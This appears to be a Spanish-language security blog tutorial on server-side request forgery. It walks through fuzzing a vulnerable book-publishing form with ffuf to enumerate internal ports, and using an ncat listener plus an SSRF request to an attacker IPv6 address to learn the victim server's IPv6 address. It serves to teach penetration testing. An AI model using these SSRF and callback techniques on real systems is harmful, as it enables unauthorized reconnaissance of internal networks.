SSRF

ssrf

SSRF, o Falsificación de Solicitud del Lado del Servidor, es una vulnerabilidad de seguridad web que permite a un atacante manipular una aplicación web para que realice solicitudes a recursos internos o externos que normalmente no podría alcanzar. En esencia, el atacante aprovecha la funcionalidad del servidor para acceder o modificar datos, incluso si esos recursos están protegidos por firewalls o están en redes privadas.

Enumeración de Puertos Vía SSRF

Para este escenario tenemos una pagina web vulnerable a SSFR en la solicitud para publicar libros.

Para darnos cuenta de que la vulnerabilidad está presente, intentare entablar una conexión desde la maquina victima a la maquina atacante. Los escenarios pueden varían en diferentes aspectos, pero para este, utilizare burpsuite para mandar la request a mi servidor de atacante.

1- Como primer punto ya tenemos que haber realizado la prueba de conectividad del servidor victima la atacante y esta tendría que ser exitosa.

2- Dado que no podemos ejecutar comandos, realizamos enumeración de puertos con FFUF. Utilizare la request que tengo con burpsuite y la guardare en un archivo llamado ssrf.req

lfi

3- Para que el fuzzing sea válido, modificaremos la IP por 127.0.0.1 y pondremos : y la palabra FUZZ como se muestra en la siguiente imagen, guardamos los cambios y nuestro archivo ssrf.req estaría listo.

lfi

4- Ahora, solo queda utilizar la herramienta FFUF para enumerar puertos internos, recordemos que al tener presente una vulnerabilidad SSRF podemos hacer que el servidor realice consultas a si mismo sin restricciones. Utilizaremos el siguiente comando para enumerar puertos:


    ffuf -request req.req -request-proto http -w dic.txt -fs 61
              

ffuf: Herramienta

-request: Indicador de fichero

-request-proto: Indicador de procolo

-w: diccionario de números/palabras

-fs: filtrado de tamaño no deseado

lfi

Exfiltrado de Dirección IPv6 Vía SSRF

En el siguiente escenario obtenemos la dirección IPv6 de la maquina victima utilizando SSRF, para obtener la dirección IPv6 nos podremos en escucha con ncat utilizando el atributo -6 de la siguiente manera:


    ncat -6 -nlvp 8000 -vv
              

Posteriormente desde la maquina víctima, mandaremos una solicitud a nuestro oyente(ncat) utilizando nuestra IPv6 de maquina atacante.


    http://[dead:beef:4::1003]:8000
              

Mandamos la petición y observaremos que en la respuesta en ncat tenemos la dirección IPv6 del servidor victima.

lfi

Si tenemos suerte podemos obtener respuesta con nmap -6 ya que en ocasiones el firewall está configurado solo para IPv4 y no para IPv6.

... espera las actualizaciones😎

Redes Sociales